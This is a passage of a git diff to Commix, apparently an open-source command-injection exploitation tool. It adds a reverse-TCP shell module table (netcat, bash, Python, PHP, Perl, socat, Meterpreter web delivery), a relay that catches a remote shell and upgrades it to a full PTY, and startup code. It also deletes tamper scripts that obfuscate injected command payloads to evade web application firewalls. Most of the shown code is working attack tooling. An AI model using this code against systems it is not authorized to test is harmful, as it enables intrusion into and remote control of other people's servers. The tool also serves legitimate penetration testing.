valid." - print(settings.print_error_msg(err_msg)) - pass - else: - err_msg = "The '" + option + "' option, is not valid." - print(settings.print_error_msg(err_msg)) - pass - -# eof \ No newline at end of file +# Module path (relative to "reverse_tcp/") -> (description, generator(separator)). +REVERSE_TCP_MODULES = { + "netcat/traditional": ("Netcat-Traditional", lambda separator: _netcat_reverse_shell("nc.traditional")), + "netcat/busybox": ("Netcat-Busybox", lambda separator: _netcat_reverse_shell("busybox nc")), + "netcat/openbsd": ("Netcat-Openbsd (no '-e' support)", lambda separator: _netcat_reverse_shell("nc", use_dash_e=False)), + "php": ("PHP reverse TCP shell", lambda separator: gen_php_reverse()), + "perl": ("Perl reverse TCP shell", lambda separator: gen_perl_reverse()), + "ruby": ("Ruby reverse TCP shell", lambda separator: gen_ruby_reverse()), + "python": ("Python reverse TCP shell", lambda separator: gen_python_reverse()), + "socat": ("Socat reverse TCP shell", lambda separator: gen_socat_reverse()), + "bash": ("Bash reverse TCP shell", gen_bash_reverse), + "ncat": ("Ncat reverse TCP shell", lambda separator: gen_ncat_reverse()), + "meterpreter/php": ("PHP Meterpreter reverse TCP shell", lambda separator: gen_php_meterpreter_reverse()), + "meterpreter/python": ("Python Meterpreter reverse TCP shell", lambda separator: gen_python_meterpreter_reverse()), + "web_delivery/python": ("Python Meterpreter reverse TCP shell (web delivery)", lambda separator: gen_web_delivery_python()), + "web_delivery/php": ("PHP Meterpreter reverse TCP shell (web delivery)", lambda separator: gen_web_delivery_php()), + "web_delivery/windows": ("Windows Meterpreter reverse TCP shell (web delivery)", lambda separator: gen_web_delivery_windows()), +} + +""" +Set up and choose the reverse TCP connection - the prompt itself is the shared mode loop. +""" +REVERSE_TCP_MODE = modes.ShellMode( + name="reverse_tcp", + modules=REVERSE_TCP_MODULES, + help_menu=menu.reverse_tcp_options, + option_rows=lambda: [ + ("LHOST", settings.LHOST, True, "The local host to listen on / connect back to"), + ("LPORT", settings.LPORT, True, "The listening port"), + ("SRVPORT", str(settings.SRVPORT), False, "The local port for the web delivery server"), + ("URIPATH", settings.URIPATH, False, "The URI to use for the web delivery server"), + ("HANDLER", "on" if settings.HANDLER else "off", False, "Catch the shell locally (instead of an external listener) (nc/ncat)"), + ], + required=("LHOST", "LPORT"), + required_hint="Required options not set. Use 'set lhost <ip>' and 'set lport <port>'.", + set_options=( + ("lhost", checks.check_lhost), + ("lport", checks.check_lport), + ("srvport", checks.check_srvport), + ("uripath", checks.check_uripath), + ("handler", checks.check_handler), + ), + unsupported=("rhost", "lhost"), + build=lambda module_path, separator: REVERSE_TCP_MODULES[module_path][1](separator), + usage_hint="Use 'set lhost <ip>' and 'set lport <port>' to configure the reverse TCP connection.", +) + +# The options this mode offers, printed when the user asks for them. +def reverse_tcp_options(separator, filename, url): + return modes.shell_mode_options(REVERSE_TCP_MODE, separator, filename, url) + +# eof diff --git a/src/core/shells/session_relay.py b/src/core/shells/session_relay.py new file mode 100644 index 0000000000..e1df3a7897 --- /dev/null +++ b/src/core/shells/session_relay.py @@ -0,0 +1,191 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import os +import sys +import socket +import select +import threading +from src.core.parse import cmdline as menu +from src.utils import common +from src.utils import settings + +# How long the built-in reverse handler waits for the callback before giving up. +ACCEPT_TIMEOUT = 15 + +# Ctrl-] (0x1D) - telnet's own escape byte, chosen for the same reason: raw mode forwards Ctrl-C +# to the remote shell instead of stopping anything here, so detaching needs a byte of its own. +PTY_ESCAPE_BYTE = b"\x1d" + +""" +The command that upgrades a plain Unix shell into a real PTY - tried shell by shell until one of +them is there, 'bash' first for the shell it gives, then 'sh' for a target without it; 'python3' +first since Python 2 is long past end-of-life, then 'python' for a target only answering to that. +""" +def pty_upgrade_cmd(): + attempts = [] + for py in ("python3", "python"): + for shell in ("/bin/bash", "/bin/sh"): + attempts.append(py + " -c \"import pty; pty.spawn('" + shell + "')\" 2>/dev/null") + return " || ".join(attempts) + "\n" + +""" +Put the local terminal into raw mode (every keystroke forwarded as-is, no local echo, no +line-buffering, Ctrl-C included) and hand back what it takes to put it back the way it was - +None where there is nothing to raw-mode at all (no real terminal, or none of this attacker host's +own doing, i.e. Windows, which has no 'termios'/'tty' to begin with). +""" +def enter_raw_mode(): + if settings.IS_WINDOWS or not sys.stdin.isatty(): + return None + try: + import tty + import termios + except ImportError: + return None + fd = sys.stdin.fileno() + saved = termios.tcgetattr(fd) + tty.setraw(fd) + return saved + +""" +Undo 'enter_raw_mode()', a no-op where it returned nothing to undo. +""" +def restore_terminal(saved): + if saved is None: + return + import termios + termios.tcsetattr(sys.stdin.fileno(), termios.TCSADRAIN, saved) + +""" +Bridge local stdin/stdout to a connected shell socket byte-for-byte, once it has been upgraded to +a real PTY - raw, not line-buffered, so the remote shell's own echo, job control, line editing and +full-screen programs (vim, less, top) all work as they would over a direct connection. Ctrl-] (not +Ctrl-C, which the remote shell owns now) ends the session cleanly from this end - there being +nothing to detach to, the one socket this plain shell runs over, closing it ends it either way. +""" +def _raw_relay(sock): + info_msg = "Upgraded to a full PTY ('--pty'). Ctrl-] ends the session and returns here." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + stdin_fd = sys.stdin.fileno() + saved = enter_raw_mode() + try: + sock.sendall(pty_upgrade_cmd().encode(settings.DEFAULT_CODEC, "replace")) + while True: + readable, _, _ = select.select([stdin_fd, sock], [], []) + if sock in readable: + data = sock.recv(4096) + if not data: + break + os.write(1, data) + if stdin_fd in readable: + data = os.read(stdin_fd, 4096) + if not data: + break + if PTY_ESCAPE_BYTE in data: + break + sock.sendall(data) + except (OSError, socket.error): + pass + finally: + restore_terminal(saved) + +""" +Runs execute_cmd(cmd) on a background thread so the main thread stays free to accept() the callback. +""" +def run_payload_send(execute_cmd, cmd, result): + if settings.VERBOSITY_LEVEL == 0: + threading.current_thread().commix_suppress_output = True + try: + result["shell"] = execute_cmd(cmd) + except (Exception, SystemExit) as err: + # Output is suppressed on this thread, so hand the reason back for the caller to report. + result["error"] = err + +""" +Bridges local stdin/stdout to a connected shell socket - line-buffered, not raw-TTY, unless +'--pty' asked for the real thing and the target and this attacker host can both do it. +""" +def interactive_relay(sock, filename, url): + if menu.options.pty: + if settings.TARGET_OS == settings.OS.WINDOWS: + warn_msg = "'--pty' needs a Unix-like target to upgrade (no 'pty' module on Windows) - using the standard relay instead." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + elif settings.IS_WINDOWS or not sys.stdin.isatty(): + warn_msg = "'--pty' needs a real POSIX terminal on this end - using the standard relay instead." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + else: + try: + _raw_relay(sock) + finally: + try: + sock.shutdown(socket.SHUT_RDWR) + except Exception: + pass + try: + sock.close() + except Exception: + pass + return + + remote_closed = threading.Event() + + # Carry whatever the socket says back to the terminal, until it says nothing more. + def _reader(): + try: + while True: + data = sock.recv(4096) + if not data: + break + with settings.PRINT_LOCK: + settings._stdout_write(data.decode(settings.DEFAULT_CODEC, errors="replace")) + sys.stdout.flush() + except Exception: + pass + finally: + remote_closed.set() + + threading.Thread(target=_reader, daemon=True).start() + + try: + while not remote_closed.is_set(): + try: + line = common.safe_input("") + except KeyboardInterrupt: + from src.core.controller import shell_options + shell_options.back_or_quit_prompt("Session interrupted (Ctrl-C pressed). [(b)ack/(q)uit] ", filename, url) + break + except EOFError: + break + if remote_closed.is_set(): + settings.print_data_to_stdout(settings.print_info_msg("Session closed by the remote host.")) + break + try: + sock.sendall((line + "\n").encode(settings.DEFAULT_CODEC, "replace")) + except (OSError, socket.error): + settings.print_data_to_stdout(settings.print_info_msg("Session closed by the remote host.")) + break + finally: + # shutdown() before close() forces the EOF that makes the remote shell exit. + try: + sock.shutdown(socket.SHUT_RDWR) + except Exception: + pass + try: + sock.close() + except Exception: + pass + +# eof diff --git a/src/core/startup.py b/src/core/startup.py new file mode 100644 index 0000000000..9eb8abd60e --- /dev/null +++ b/src/core/startup.py @@ -0,0 +1,112 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import os +import sys +import signal +from datetime import date +from datetime import datetime + +from src.utils import common +from src.utils import logs +from src.utils import settings +from src.utils import version +from src.core.parse import cmdline as menu +from src.core.testing import smoke_test + +""" +What a run settles before it has a target: which version it is, how much it says, how long it is +allowed to take, and where its targets are going to come from. + +Nothing here touches the network, so an option that cannot be acted on is refused while refusing +it still costs nothing. +""" +def bootstrap(): + # Check if defined "--version" option. + if menu.options.version: + version.show_version() + raise SystemExit() + + # Print the legal disclaimer msg. + settings.print_data_to_stdout(settings.print_legal_disclaimer_msg(settings.LEGAL_DISCLAIMER_MSG)) + + # Get total number of days from last update + if settings.STABLE_RELEASE is False: + common.days_from_last_update() + + # Check if specified wrong alternative interpreter + if menu.options.interpreter: + # Resolved before it is checked, and kept resolved - what reads it later compares against the + # name commix knows, so 'py' has to have become 'python' by now. + menu.options.interpreter = settings.resolve_language(menu.options.interpreter) + if menu.options.interpreter not in settings.AVAILABLE_INTERPRETERS: + err_msg = "'" + menu.options.interpreter + "' interpreter is not supported!" + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + # Define the level of verbosity. + if menu.options.verbose > 4: + err_msg = "The value for option '-v' " + err_msg += "must be an integer value from range [0, 4]." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + else: + settings.VERBOSITY_LEVEL = menu.options.verbose + + # Hard '--time-limit' cutoff - a signal, immune to exception handling elsewhere. + if menu.options.time_limit and hasattr(signal, "alarm"): + # Stop the run where it has been going longer than '--time-limit' allows. + def _time_limit_reached(signum, frame): + err_msg = "Reached the specified time limit of " + str(menu.options.time_limit) + " second(s)." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + # What was found before the cutoff is still what was found - left unwritten, a bounded run + # hands back nothing at all, and reads the same as one that found nothing. + logs.write_report(settings.REPORT_STATUS_TIME_LIMIT) + os._exit(0) + signal.signal(signal.SIGALRM, _time_limit_reached) + signal.alarm(max(1, int(round(menu.options.time_limit)))) + + # Asked to stop by something other than a keyboard - another process, a container shutting down, + # whatever started this run deciding it has had long enough. Ctrl-C is left alone: it has menus of + # its own, and a person at the keyboard to read them. + def _terminated(signum, frame): + logs.write_report(settings.REPORT_STATUS_TERMINATED) + os._exit(settings.EXIT_FAILURE) + settings.REPORT_STARTED = str(date.today()) + settings.SINGLE_WHITESPACE + datetime.now().strftime("%H:%M:%S") + logs.open_report() + if hasattr(signal, "SIGTERM"): + signal.signal(signal.SIGTERM, _terminated) + + if settings.VERBOSITY_LEVEL != 0: + settings.print_data_to_stdout(settings.execution("Starting")) + + if menu.options.smoke_test: + smoke_test() + + try: + # Treat non-interactive stdin as targets only without an explicit target; skip CI log pipes. + if hasattr(sys.stdin, "fileno") and not any((os.isatty(sys.stdin.fileno()), menu.options.ignore_stdin, + "CI" in os.environ, + menu.options.url, menu.options.requestfile, menu.options.bulkfile, menu.options.logfile, + menu.options.sitemap_url, menu.options.openapi)): + settings.STDIN_PARSING = True + except Exception as ex: + if "fileno" in str(ex) and settings.STDIN_PARSING: + settings.STDIN_PARSING = False + + if settings.STDIN_PARSING or settings.CRAWLING or menu.options.bulkfile or menu.options.shellshock: + settings.OS_CHECKS_NUM = 1 + +# eof diff --git a/src/core/tamper/__init__.py b/src/core/tamper/__init__.py deleted file mode 100644 index b50e6972c9..0000000000 --- a/src/core/tamper/__init__.py +++ /dev/null @@ -1,16 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" - -pass \ No newline at end of file diff --git a/src/core/tamper/backslashes.py b/src/core/tamper/backslashes.py deleted file mode 100644 index 5f500298b7..0000000000 --- a/src/core/tamper/backslashes.py +++ /dev/null @@ -1,71 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" -import re -import sys -from src.utils import settings - -""" -About: Adds back slashes (\) between the characters of the generated payloads. -Notes: This tamper script works against *nix targets. -""" - -__tamper__ = "backslashes" - -if not settings.TAMPER_SCRIPTS[__tamper__]: - settings.TAMPER_SCRIPTS[__tamper__] = True - -def tamper(payload): - def add_back_slashes(payload): - settings.TAMPER_SCRIPTS[__tamper__] = True - rep = { - "\\I\\F\\S": "IFS", - "\\i\\f": "if", - "\\t\\h\\e\\n": "then", - "\\e\\l\\s\\e": "else", - "\\f\\i": "fi", - "\\s\\t\\r": "str", - "\\c\\m\\d": "cmd", - "\\c\\ha\\r": "char" - } - payload = re.sub(r'([b-zD-Z])', r"\\\1", payload) - rep = dict((re.escape(k), v) for k, v in rep.items()) - pattern = re.compile("|".join(rep.keys())) - payload = pattern.sub(lambda m: rep[re.escape(m.group(0))], payload) - return payload - - if settings.TARGET_OS != "win": - if settings.EVAL_BASED_STATE != False: - if settings.TRANFROM_PAYLOAD == None: - settings.TRANFROM_PAYLOAD = False - warn_msg = "The dynamic code evaluation technique, does not support the '"+ __tamper__ +".py' tamper script." - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - print - else: - settings.TRANFROM_PAYLOAD = True - if settings.TRANFROM_PAYLOAD: - payload = add_back_slashes(payload) - - else: - if settings.TRANFROM_PAYLOAD == None: - settings.TRANFROM_PAYLOAD = False - warn_msg = "Windows target host(s), does not support the '"+ __tamper__ +".py' tamper script." - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - print - - return payload - -# eof \ No newline at end of file diff --git a/src/core/tamper/backticks.py b/src/core/tamper/backticks.py deleted file mode 100644 index edf186e321..0000000000 --- a/src/core/tamper/backticks.py +++ /dev/null @@ -1,29 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" - -import sys -from src.utils import settings - -""" -About: Uses backticks instead of "$()" for commands substitution on the generated payloads. -Notes: This tamper script works against *nix targets. -""" - -__tamper__ = "backticks" - -settings.TAMPER_SCRIPTS[__tamper__] = True -settings.USE_BACKTICKS = True - -# eof \ No newline at end of file diff --git a/src/core/tamper/base64encode.py b/src/core/tamper/base64encode.py deleted file mode 100644 index 6fcb508dd7..0000000000 --- a/src/core/tamper/base64encode.py +++ /dev/null @@ -1,45 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" - -import sys -import base64 -from src.thirdparty.six.moves import urllib as _urllib -from src.utils import settings - -""" -About: Base64 all characters in a given payload. -Notes: This tamper script works against all targets. -""" - -__tamper__ = "base64encode" - -if not settings.TAMPER_SCRIPTS[__tamper__]: - settings.TAMPER_SCRIPTS[__tamper__] = True - -def tamper(payload): - if settings.WHITESPACES[0] == "+": - err_msg = "Tamper script '" + __tamper__ + "' is unlikely to work combined with the tamper script 'space2plus'." - if settings.VERBOSITY_LEVEL == 0: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - - else: - payload = _urllib.parse.unquote(payload) - payload = base64.b64encode(payload.encode()) - payload = payload.decode(settings.UNICODE_ENCODING) - return payload - -# eof \ No newline at end of file diff --git a/src/core/tamper/caret.py b/src/core/tamper/caret.py deleted file mode 100644 index 8e1f67fdbc..0000000000 --- a/src/core/tamper/caret.py +++ /dev/null @@ -1,69 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" -import re -import sys -from src.utils import settings - -""" -About: Adds caret symbol (^) between the characters of the generated payloads. -Notes: This tamper script works against windows targets. -""" - -__tamper__ = "caret" - -if not settings.TAMPER_SCRIPTS[__tamper__]: - settings.TAMPER_SCRIPTS[__tamper__] = True - -def tamper(payload): - def add_caret_symbol(payload): - settings.TAMPER_SCRIPTS[__tamper__] = True - if re.compile("\w+").findall(payload): - if str(len(max(re.compile("\w+").findall(payload), key=lambda word: len(word)))) >= 5000: - long_string = max(re.compile("\w+").findall(payload), key=lambda word: len(word)) - - rep = { - "^^": "^", - '"^t""^o""^k""^e""^n""^s"': '"t"^"o"^"k"^"e"^"n"^"s"', - re.sub(r'([b-zD-Z])', r'^\1', long_string) : long_string.replace("^","") - } - payload = re.sub(r'([b-zD-Z])', r'^\1', payload) - rep = dict((re.escape(k), v) for k, v in rep.items()) - pattern = re.compile("|".join(rep.keys())) - payload = pattern.sub(lambda m: rep[re.escape(m.group(0))], payload) - return payload - - if settings.TARGET_OS == "win": - if settings.EVAL_BASED_STATE != False: - if settings.TRANFROM_PAYLOAD == None: - settings.TRANFROM_PAYLOAD = False - warn_msg = "The dynamic code evaluation technique, does not support the '"+ __tamper__ +".py' tamper script." - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - print - else: - settings.TRANFROM_PAYLOAD = True - if settings.TRANFROM_PAYLOAD: - payload = add_caret_symbol(payload) - else: - if settings.TRANFROM_PAYLOAD == None: - settings.TRANFROM_PAYLOAD = False - warn_msg = "*nix target host(s), does not support the '"+ __tamper__ +".py' tamper script." - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - print - - return payload - -# eof \ No newline at end of file diff --git a/src/core/tamper/dollaratsigns.py b/src/core/tamper/dollaratsigns.py deleted file mode 100644 index 8ea926ef2a..0000000000 --- a/src/core/tamper/dollaratsigns.py +++ /dev/null @@ -1,71 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" -import re -import sys -from src.utils import settings - -""" -About: Adds dollar sign followed by an at-sign ($@) between the characters of the generated payloads. -Notes: This tamper script works against *nix targets. -""" - -__tamper__ = "dollaratsigns" - -if not settings.TAMPER_SCRIPTS[__tamper__]: - settings.TAMPER_SCRIPTS[__tamper__] = True - -def tamper(payload): - def add_dollar_at_signs(payload): - settings.TAMPER_SCRIPTS[__tamper__] = True - rep = { - "$@I$@F$@S": "IFS", - "$@i$@f": "if", - "$@t$@h$@e$@n": "then", - "$@e$@l$@s$@e": "else", - "$@f$@i": "fi", - "$@s$@t$@r": "str", - "$@c$@m$@d": "cmd", - "$@c$@ha$@r": "char" - } - payload = re.sub(r'([b-zD-Z])', r"$@\1", payload) - rep = dict((re.escape(k), v) for k, v in rep.items()) - pattern = re.compile("|".join(rep.keys())) - payload = pattern.sub(lambda m: rep[re.escape(m.group(0))], payload) - return payload - - if settings.TARGET_OS != "win": - if settings.EVAL_BASED_STATE != False: - if settings.TRANFROM_PAYLOAD == None: - settings.TRANFROM_PAYLOAD = False - warn_msg = "The dynamic code evaluation technique, does not support the '"+ __tamper__ +".py' tamper script." - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - print - else: - settings.TRANFROM_PAYLOAD = True - if settings.TRANFROM_PAYLOAD: - payload = add_dollar_at_signs(payload) - - else: - if settings.TRANFROM_PAYLOAD == None: - settings.TRANFROM_PAYLOAD = False - warn_msg = "Windows target host(s), does not support the '"+ __tamper__ +".py' tamper script." - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - print - - return payload - -# eof \ No newline at end of file diff --git a/src/core/tamper/doublequotes.py b/src/core/tamper/doublequotes.py deleted file mode 100644 index 6a086cee21..0000000000 --- a/src/core/tamper/doublequotes.py +++ /dev/null @@ -1,71 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" -import re -import sys -from src.utils import settings - -""" -About: Adds double quotes (") between the characters of the generated payloads. -Notes: This tamper script works against *nix targets. -""" - -__tamper__ = "doublequotes" - -if not settings.TAMPER_SCRIPTS[__tamper__]: - settings.TAMPER_SCRIPTS[__tamper__] = True - -def tamper(payload): - def add_double_quotes(payload): - settings.TAMPER_SCRIPTS[__tamper__] = True - rep = { - '""I""F""S': 'IFS', - '""i""f': 'if', - '""t""h""e""n': 'then', - '""e""l""s""e': 'else', - '""f""i': 'fi', - '""s""t""r': 'str', - '""c""m""d': 'cmd', - '""c""ha""r': 'char' - } - payload = re.sub(r'([b-zD-Z])', r'""\1', payload) - rep = dict((re.escape(k), v) for k, v in rep.items()) - pattern = re.compile("|".join(rep.keys())) - payload = pattern.sub(lambda m: rep[re.escape(m.group(0))], payload) - return payload - - if settings.TARGET_OS != "win": - if settings.EVAL_BASED_STATE != False: - if settings.TRANFROM_PAYLOAD == None: - settings.TRANFROM_PAYLOAD = False - warn_msg = "The dynamic code evaluation technique, does not support the '"+ __tamper__ +".py' tamper script." - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - print - else: - settings.TRANFROM_PAYLOAD = True - if settings.TRANFROM_PAYLOAD: - payload = add_double_quotes(payload) - - else: - if settings.TRANFROM_PAYLOAD == None: - settings.TRANFROM_PAYLOAD = False - warn_msg = "Windows target host(s), does not support the '"+ __tamper__ +".py' tamper script." - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - print - - return payload - -# eof \ No newline at end of file diff --git a/src/core/tamper/hexencode.py b/src/core/tamper/hexencode.py deleted file mode 100644 index 29a2a13eed..0000000000 --- a/src/core/tamper/hexencode.py +++ /dev/null @@ -1,45 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" - -import sys -from src.core.convert import hexencode -from src.thirdparty.six.moves import urllib as _urllib -from src.utils import settings - -""" -About: Hex all characters in a given payload. -Notes: This tamper script works against all targets. -""" - -__tamper__ = "hexencode" - -if not settings.TAMPER_SCRIPTS[__tamper__]: - settings.TAMPER_SCRIPTS[__tamper__] = True - -def tamper(payload): - if settings.WHITESPACES[0] == "+": - err_msg = "Tamper script '" + __tamper__ + "' is unlikely to work combined with the tamper script 'space2plus'." - if settings.VERBOSITY_LEVEL == 0: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - - else: - payload = _urllib.parse.unquote(payload) - payload = hexencode(payload) - payload = payload.decode(settings.UNICODE_ENCODING) - return payload - -# eof \ No newline at end of file diff --git a/src/core/tamper/multiplespaces.py b/src/core/tamper/multiplespaces.py deleted file mode 100644 index 4529d9c40b..0000000000 --- a/src/core/tamper/multiplespaces.py +++ /dev/null @@ -1,29 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" - -import random -from src.utils import settings - -""" -About: Adds multiple spaces around OS commands -Notes: Useful to bypass very weak and bespoke web application firewalls that has poorly written permissive regular expressions. -""" - -__tamper__ = "multiplespaces" - -settings.TAMPER_SCRIPTS[__tamper__] = True -settings.WHITESPACES[0] = settings.WHITESPACES[0] * random.randrange(2, 8) - -# eof \ No newline at end of file diff --git a/src/core/tamper/nested.py b/src/core/tamper/nested.py deleted file mode 100644 index 1750e9628b..0000000000 --- a/src/core/tamper/nested.py +++ /dev/null @@ -1,72 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" - -import sys -import random -from src.utils import menu -from src.utils import settings - -""" -About: Adds double quotes around of the generated payloads (nested). -Notes: This tamper script works against *nix targets. -""" - -__tamper__ = "nested" -if not settings.TAMPER_SCRIPTS[__tamper__]: - settings.TAMPER_SCRIPTS[__tamper__] = True - -double_quote = "\"" -def tamper(payload): - def nested(payload): - if settings.TARGET_OS != "win": - settings.TAMPER_SCRIPTS[__tamper__] = True - if not menu.options.prefix and not menu.options.suffix: - payload = double_quote + payload + double_quote - else: - if menu.options.prefix and menu.options.prefix != double_quote: - menu.options.prefix = menu.options.prefix + double_quote - else: - menu.options.prefix = double_quote - - if menu.options.suffix and menu.options.suffix != double_quote: - menu.options.suffix = menu.options.suffix + double_quote - else: - menu.options.suffix = double_quote - return payload - - if settings.TARGET_OS != "win": - if settings.EVAL_BASED_STATE != False: - if settings.TRANFROM_PAYLOAD == None: - settings.TRANFROM_PAYLOAD = False - warn_msg = "The dynamic code evaluation technique, does not support the '"+ __tamper__ +".py' tamper script." - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - print - else: - settings.TRANFROM_PAYLOAD = True - if settings.TRANFROM_PAYLOAD: - payload = nested(payload) - - else: - if settings.TRANFROM_PAYLOAD == None: - settings.TRANFROM_PAYLOAD = False - warn_msg = "Windows target host(s), does not support the '"+ __tamper__ +".py' tamper script." - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - print - - return payload - -# eof \ No newline at end of file diff --git a/src/core/tamper/singlequotes.py b/src/core/tamper/singlequotes.py deleted file mode 100644 index 5d65c4453d..0000000000 --- a/src/core/tamper/singlequotes.py +++ /dev/null @@ -1,71 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" -import re -import sys -from src.utils import settings - -""" -About: Adds single quotes (') between the characters of the generated payloads. -Notes: This tamper script works against *nix targets. -""" - -__tamper__ = "singlequotes" - -if not settings.TAMPER_SCRIPTS[__tamper__]: - settings.TAMPER_SCRIPTS[__tamper__] = True - -def tamper(payload): - def add_single_quotes(payload): - settings.TAMPER_SCRIPTS[__tamper__] = True - rep = { - "''I''F''S": "IFS", - "''i''f": "if", - "''t''h''e''n": "then", - "''e''l''s''e": "else", - "''f''i": "fi", - "''s''t''r": "str", - "''c''m''d": "cmd", - "''c''ha''r": "char" - } - payload = re.sub(r'([b-zD-Z])', r"''\1", payload) - rep = dict((re.escape(k), v) for k, v in rep.items()) - pattern = re.compile("|".join(rep.keys())) - payload = pattern.sub(lambda m: rep[re.escape(m.group(0))], payload) - return payload - - if settings.TARGET_OS != "win": - if settings.EVAL_BASED_STATE != False: - if settings.TRANFROM_PAYLOAD == None: - settings.TRANFROM_PAYLOAD = False - warn_msg = "The dynamic code evaluation technique, does not support the '"+ __tamper__ +".py' tamper script." - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - print - else: - settings.TRANFROM_PAYLOAD = True - if settings.TRANFROM_PAYLOAD: - payload = add_single_quotes(payload) - - else: - if settings.TRANFROM_PAYLOAD == None: - settings.TRANFROM_PAYLOAD = False - warn_msg = "Windows target host(s), does not support the '"+ __tamper__ +".py' tamper script." - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) - 